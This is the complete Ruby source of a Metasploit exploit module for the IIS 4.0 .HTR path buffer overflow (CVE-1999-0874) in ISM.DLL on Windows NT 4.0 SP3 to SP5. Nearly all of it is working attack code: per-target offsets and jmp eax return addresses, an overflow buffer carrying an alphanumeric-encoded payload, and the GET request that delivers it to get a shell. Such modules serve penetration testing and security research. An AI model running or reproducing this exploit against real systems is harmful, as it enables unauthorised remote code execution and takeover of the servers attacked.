Microsoft IIS 4.0 .HTR Path Overflow

`##  
# $Id$  
##  
  
##  
# This file is part of the Metasploit Framework and may be subject to   
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
  
require 'msf/core'  
  
  
class Metasploit3 < Msf::Exploit::Remote  
  
include Msf::Exploit::Remote::Tcp  
  
def initialize(info = {})  
super(update_info(info,   
'Name' => 'Microsoft IIS 4.0 .HTR Path Overflow',  
'Description' => %q{  
This exploits a buffer overflow in the ISAPI ISM.DLL used to  
process HTR scripting in IIS 4.0. This module works against  
Windows NT 4 Service Packs 3, 4, and 5. The server will  
continue to process requests until the payload being  
executed has exited. If you've set EXITFUNC to 'seh', the  
server will continue processing requests, but you will have  
trouble terminating a bind shell. If you set EXITFUNC to  
thread, the server will crash upon exit of the bind shell.  
The payload is alpha-numerically encoded without a NOP sled  
because otherwise the data gets mangled by the filters.  
  
},  
'Author' => [ 'stinko' ],  
'License' => BSD_LICENSE,  
'Version' => '$Revision$',  
'References' =>  
[  
[ 'CVE', '1999-0874'],  
[ 'OSVDB', '3325'],  
[ 'BID', '307'],  
[ 'URL', 'http://www.eeye.com/html/research/advisories/AD19990608.html'],  
[ 'MSB', 'MS02-018'],  
  
],  
'Privileged' => true,  
'Payload' =>  
{  
'Space' => 2048,  
'BadChars' => Rex::Text.charset_exclude(Rex::Text::AlphaNumeric),  
'StackAdjustment' => -3500,  
},  
'Platform' => 'win',  
'Targets' =>   
[  
['Windows NT 4.0 SP3', {'Platform' => 'win', 'Rets' => [ 593, 0x77f81a4d ] }],  
['Windows NT 4.0 SP4', {'Platform' => 'win', 'Rets' => [ 593, 0x77f7635d ] }],  
['Windows NT 4.0 SP5', {'Platform' => 'win', 'Rets' => [ 589, 0x77f76385 ] }],  
],  
'DisclosureDate' => 'Apr 10 2002',  
'DefaultTarget' => 0))  
  
register_options(  
[  
Opt::RPORT(80)  
], self.class)  
end  
  
def exploit  
connect  
  
buf = 'X' * target['Rets'][0]  
buf << [ target['Rets'][1] ].pack('V')  
buf << payload.encoded  
  
req = "GET /#{buf}.htr HTTP/1.0\r\n\r\n"  
print_status("Trying target #{target.name} with jmp eax at 0x%.8x..." % target['Rets'][1])  
sock.put(req)  
handler  
disconnect  
end  
  
end  
`